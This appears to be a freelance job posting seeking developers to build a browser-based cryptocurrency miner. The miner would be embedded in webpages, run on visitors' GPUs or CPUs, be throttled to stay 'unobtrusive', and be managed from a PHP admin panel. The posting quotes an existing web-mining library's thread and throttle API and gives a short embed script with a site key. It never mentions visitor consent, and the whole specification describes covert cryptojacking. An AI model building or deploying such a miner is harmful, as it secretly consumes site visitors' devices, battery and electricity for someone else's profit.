Simple java based web browser miner

i am looking to build a simple java based web browser miner , i will go ahead of what i am looking to achieve ( or if you have something similar build up already i would consider it) 1) Browser-based XMR/ETH/LTC/BTC and other altcoins miner using technology like WebGL -> or any other tech to maximize BOTH desktop and mobile traffic hashrates (by GPU or CPU) on visiting a webpage, -> after having embedded some server-side script (config, code) and Javascript combination or library (the JS code runs the miner, ie. all mining is done client-side on the device) 2) Script is unobtrusive enough not to slow down the majority of devices; 3) Script must try first gpu, only if gpu is not available then go for cpu 4) Script runs in the foreground when the website where it's installed is in focus, otherwise reduces % use of CPU/GPU by a bunch; 5) An admin page: the webmaster can see the current / historical hashrates . ( like a chart for historical ) -> to change pools where to mine from the admin panel -> admin page coded in php is preferable -> admin page should have user and password to enter ( for security issues ) Admin page configurable so that the pool, address, mining option can be changed; -> ( Mining option - > list all coins ( button on/off for pool control ) ) -> (the JS code that runs the miner gets it`s configuration from the admin panel) Implementation of the javascript code should be easy --------------------------------------------------------------------------------------------------------------------------------- Similar site using xmr mining is [login to view URL] that has most of the specifications that is need : [login to view URL] .setNumThreads(numThreads) -> Set the desired number of threads. Min: 1. Typically you shouldn't go any higher than maybe 8 or 16 threads even if your users have all new AMD Threadripper CPUs. .getAutoThreadsEnabled( ) -> Returns true|false whether autoThreads is currently enabled. .setAutoThreadsEnabled(enabled) -> Enable or disable automatically adjusting the number of threads for optimal performance. This feature is experimental. .getThrottle( ) -> Returns the current throttle value. .setThrottle(throttle) -> Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time. <script src="[login to view URL]"></script> <script type="text/javascript"> var miner = new [login to view URL]('<site-key>', 'john-doe', { threads: 4, autoThreads: false, throttle: 0.8, forceASMJS: false }); //[login to view URL](1); [login to view URL](); </script> the above script works only with cpu it has thread mode and throttle meaning how much time it waits between threads ( throttle = set intensity ) [login to view URL] ( gpu javascript) --------------------------------------------------------------------------------------------------------------------------------- [login to view URL] They're a pre-ICO platform to 'unobtrusively mine' their coin using Javascript across your web properties. You can find existing repositories across these coins by searching 'btc/ftc/ltc browser/javascript miner github' on Google. Here's an example private web miner that supports Monero/XMR (although for some reason it doesn`t work): [login to view URL] Only experienced javascript programmers!!!
